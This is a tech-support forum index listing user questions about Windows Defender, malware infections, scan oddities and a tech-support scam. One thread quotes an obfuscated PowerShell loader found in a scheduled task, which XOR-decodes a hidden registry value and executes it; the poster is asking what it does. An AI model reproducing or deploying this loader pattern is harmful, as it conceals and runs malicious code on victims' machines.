Tech Support & Discussions Forum
Extreme Tech Support tech help and support forums. If you have problems with your your computer, tablet, Ipad, iPhone, Android device, wearable gear or any other device post in this forum and we will help you. If you just want to discuss the latest and greatest that tech has to offer you can do that here also. No question will be unanswered. No topic will be ignored.
97798 topics in this forum
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Security - Safety Scanner
by Guest Mark Passa- 0 replies
- 51 views
When I run my Safety Scanner, during the process. it states it has found several "files infected". However, when it is complete, it says it "and no viruses, spyware and other potentially unwanted software were detected." I am confused - if files were infected, shouldn't it quarantine them, remove them and/or tell me it has taken those actions? Thank you. Continue reading...
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Browser Hijacker issue.
by Guest Mrki_FV15- 0 replies
- 74 views
So for the past 3 days I've been cleaning my pc from a Trojan.I've managed to get rid of it, scanned many times to make sure as well,But after scanning with Adware cleaner, it shows these 2 PUPs and I can't Quarantine them.I've been having issues with redirects for a while but every time I've managed to get rid of them.(Maybe I didn't fully delete them and that's why they've kept coming back)I've reset the browser, cleared DNS Cache and even uninstalled Google (writing this on my phone), anyone know how to get rid of it? Continue reading...
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No key in my keyboard is working and if I press any key, 3 is repeating constantly.
by Guest 1VinayGupta1- 0 replies
- 64 views
No key in my keyboard is working and if I press any key, 3 is repeating constantly.If I am trying to reboot my system in safe mode then also it is not working because I am not able to write anything.It seems like the virus has taken over my laptop completely. Also I have tried many types of anti-virus like Avast, MBSetup-59E4656E-37335.37335, vipre-advanced-security and many more but to my surprise, no anti virus could remove the actual problem, although these viruses removed my viruses.Please help. Continue reading...
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Windows 11 Beta build 22622.598 ni _reslease defender issues
by Guest Temisan Odumu- 0 replies
- 47 views
I uninstalled my norton security from this computer and opted to soley just use windows defender. I ran a full scan today and found some severe threats. Ever time i click to quarantine or remove the threats windows defender jsut says feel free to keep working while we take action. Can someone help me fix this and remove the threats. Ill give two screen shots. Continue reading...
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Can someone help me with Windows Defender?
by Guest SpaceB20- 0 replies
- 57 views
So I try opening Windows Defender because I was going to check my computer for any viruses or unauthorized application and I see nothing there: So I go to windows services and see if I might have just disabled it and I only see "Windows Defender Firewall" running nothing else:So can anyone at all please help me? Continue reading...
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Windows Defender is unavailable
by Guest Raihanur Alam Raihan- 0 replies
- 49 views
Hi Microsoft Community :)I mistakenly turned off my windows defender by "windows defender control". And after a installation, When I was trying to enable it again, It shows windows defender is missing. And I can't open windows security app. It showing "The item you selected is unavailable". And windows defender service and windows security service are not showing in services. Please help me in this problem. Continue reading...
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Windows Security - Actions recommended
by Guest kc709- 0 replies
- 54 views
I have a new computer and just went through the set up. Windows 11. My shield icon in the bottom right has a yellow triangle w/ a !. When I hover over it, it says Windows Security - Actions recommended. I've been all over settings>windows security. I see nothing that needs attention. Everything says "no action needed, updated, or has a green check, health report is good, firewalls are on, no threats". I restarted - it didn't clear. What else do I need to check? Continue reading...
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My protection history on Windows Defender
by Guest The funny man- 0 replies
- 61 views
So there is an potentially unwanted app, and whenever I go to my protection history, it's all gone which is abnormal. And I want to know how to find and remove this virus and fix my protection history to find it. Continue reading...
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Help to identify suspicious task "jojLNs"
by Guest ErichBrutus- 0 replies
- 59 views
I had a somewhat suspicious task scheduled called "jojLNs" for some reason, it was tasked to run a powershell script in System32, the contents of which look something like this: $BeGAuVtuCJ=[scriptBlock];$nXopPKHXZuvg=[string];$RFmkrqWtsy=[char]; icm ($BeGAuVtuCJ::Create($nXopPKHXZuvg::Join('', ((gp 'HKLM:\SOFTWARE\DefaultUserEnvironment03ZVQpAT').'6YoArxq' | % { ($_ -bxor (27+16+8+74+21+21+3+0+0+2+3+1)) -as $RFmkrqWtsy }))))Can anyone please tell what it was doing and was it harmful in any way? Continue reading...
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About The Microsoft Antivirus Award/s?
by Guest maroner pierre1- 0 replies
- 65 views
Dear Sir/Madam, How's things?,I never heard of the Microsoft antivirus in getting any award/s from day one ?,and don't even know why that unknown person who gave the award/s may of mistakenly did so.I only later check the AV-Comparatives website in later 2022 and it's as exactly as you said it was?.I am still skeptical though in both the Microsoft's antiviruses already getting an award in 2022 and before that?,after many claims it has a 100% detection rate that has been given out.If the either installed Microsoft antivirus was like so i'd should only be ending up with Continue reading...
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Windows Defender Offline Scan Not Running
by Guest C.D.2- 0 replies
- 72 views
Hello,I have tried to run Windows Defender Offline Scan now multiple times. Once I click run, it will ask permission and then do nothing. I know that it should be saying that it will be signing off in a few moments, but that doesn't happen. I have tried just about every trouble shooting technique (I've worked in IT) besides doing a Windows reset. I've looked at a number of articles and followed trouble shooting steps. I would rather not do a Windows reset currently due to time constraints although I will do that as a last resort. If anyone has had this problem and has a interesting solution to Continue reading...
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Windows security has exclamation symbol
by Guest Ditendra- 0 replies
- 54 views
Hello, I noticted that these days Windows security in tray has exclamation symbol on and when I hover mouse on it, it says - "Windows security - actions recommended". However when I double click on it and open Windows security I see that everything is okay and everything has a green check mark. Is it bug or why I have this exclamation yellow mark in the tray?This is how it looks: Continue reading...
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Just Don't Know Either Way?
by Guest maroner pierre1- 0 replies
- 65 views
Dear Sir/Madam, How's things?,I may of wrongly accused and fully blamed the either installed W.D./M.D. antivirus and apologise if this antivirus was indeed innocent until proven guilty?.I don't know how effective this antivirus really is?,after finding in various websites that it either has a 99.7% or a 100% detection rate and never got either result in my case,and in my case i'm just guessing the either installed antivirus had a detection rate below 95% and or lower than that?, and or had similar result/s way back in Windows 7 ?.I can tell you so far in 2022 i can s Continue reading...
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May have malware on old computer, but need to transfer precious photos and videos of deceased loved one to new computer. If I use OneDrive to transfer
by Guest {Questioner}- 0 replies
- 56 views
Hi. I have a situation and would really appreciate some direction. I may have malware or a virus on my old computer (got it in 2017), but I need to transfer precious photos and videos of a deceased loved one from the old computer to my new computer. I run the up-to-date built-in security scan Windows provides on my (barely-used) old computer and it never finds anything, but the computer is running extremely slowly and the cpu usage is really high, even when I'm not doing anything or using any programs, which is why I think there is malware on there. So my question is: if I use my Microsoft acc Continue reading...
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Microsoft Defender for endpoint and manager
by Guest Wilson29184- 0 replies
- 52 views
Hello,I'm currently testing Defender as our AV solution to replace a 3rd party one. I have the connection to Intune setup and I've onboarded my test devices.I've also created an AV policy including a daily full scan at 10am.It's now almost 5pm, in the Defender portal my device doesn't show that it's run a full scan today (force by the policy). If I look in my local security center, I can see the scan did run. Is there a delay in the communications between the client and the portal? Other settings (like adding our support team's details to the local security center) synced quickly.I'm ju Continue reading...
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Just A Return Reply...
by Guest maroner pierre1- 0 replies
- 54 views
Dear Sir/Madam, How's things?,If i were to ditch my now installed Kaspersky free and then go back to the Windows Defender antivirus it will only end up with only losses and no wins relating to a dangerous downloads.I though the newer updates for the Windows Defender antivirus in 2022 would of somehow improved my security ?, after it got installed?,but sadly it has ended up with just losses.If you don't me to use the Kaspersky free antivirus?,should i be using the Huorong Security antivirus from the Microsoft store instead or what other free antiviruses have you found Continue reading...
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What Is The Difference Between W.D. and The M.D. Antiviruses By Microsoft?
by Guest maroner pierre1- 0 replies
- 59 views
Dear Sir/Madam, How's things?,I had found no difference between Windows 10 antivirus and or the Windows 11 antivirus by Microsoft, as they both had an over 98% to 100% in having an undetection rate/s and allowed most/all dangerous file/s to get downloaded and installed and explored resulting in unfixable computer damages and in each case a repair or reset or restore simply couldn't done and only a full reinstall was the only option left.(From Eicars to Trojans to much worse...).I explored the log files from the full scan of the Microsoft Offline Scan in a few cases, a Continue reading...
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Trojon win 32 ocatawa
by Guest El boss 1988- 0 replies
- 46 views
الرجاء مساعدتي علي إثر و جود هذا الفايروس هل هناك من وضع يده علي ملفات الشخصية كالصور والفيديوهات Continue reading...
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Malware analysis
by Guest Space-Portals47- 0 replies
- 57 views
I am looking for information to what extent this Malware would have affected my computer. I am currently paranoid that it has the potential to have spread to my router and other devices, but I don't understand everything being outlined on the analysis website other than there is a keylogger. Analysis:https://www.joesandbox.com/analysis/471758/0/html I just don't feel safe with a clean install of Windows 10, could someone please help? So my questions are: 1. Would this Malware have affected my router? 2. Would this Malware affect any other devices connected to the router? 3. Does it have the po Continue reading...
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Fraud within your site
by Guest geraldup- 0 replies
- 54 views
My computer was hacked Sat. 9/10/2022.There was a number to call that was supposed to be Microsoft tech. support. The person walked me through all the hacks and said my bank account was compromised. Then said he was connecting me to my bank which then wanted me to buy gift cards to removed money from my account to protect it from being stolen. hung up and called bank myself and was told this was part of the hack. Did not remove money. Is this a problem with your product? Continue reading...
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How to remove this malware?
by Guest Vrnnd- 0 replies
- 60 views
For the past couple of days i keep getting this .exe file which is flagged as Trojan:win32/Tigrre!rfni did defender offline scan as well as try to delete it while booted on safemode with network, as well as manually removing it, quarantine and delete, but to no avail everytime i shut down my laptop or restart it comes back up again id like to ask for help on how can i remove this malware? Continue reading...
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Suspected Malware In Startup
by Guest Steven Turney- 0 replies
- 63 views
The program circled appears in my startup, it changes symbols making it difficult to find/search.. The Microsoft Safety Scanner Detects nothing. Only thing I could do is turn it off. Any help would be appreciated. Continue reading...
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Some digital certificate of service running on os ar signed by Microsoft Windows Publisher
by Guest Livio Brena- 0 replies
- 61 views
Hi to all ...Reading a post in other discussion about security of running process, one of method used for find if is good service or not, is just view digital certificate property.But, i have observed that:Some digital certificate of service running on os ar signed by "Microsoft Windows Publisher" and other again signed by microsoft and released to "Microsoft Windows", and other again by "Microsoft Corporation" is it normal ?I have also see process runned by file named "WUDFHost.exe" in system32. It Seem part of wsl subsystem but in property of that tab called "Digital Firm" are not prese Continue reading...
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window defender not working
by Guest shadaab khan- 0 replies
- 51 views
I have an issue with the window defender. I have tried everything but it's not working I've also run this Get-AppXPackage -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register “$($_.InstallLocation)\AppXManifest.xml”} but it didn't work please help me to fix this problem. Continue reading...
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Windows Security icon in Notification Area is Showing incorrect notification
by Guest Shaikat Islam- 0 replies
- 56 views
(Action recomended) but there is no protection history.what can i do now?[Original Title: windows security] Continue reading...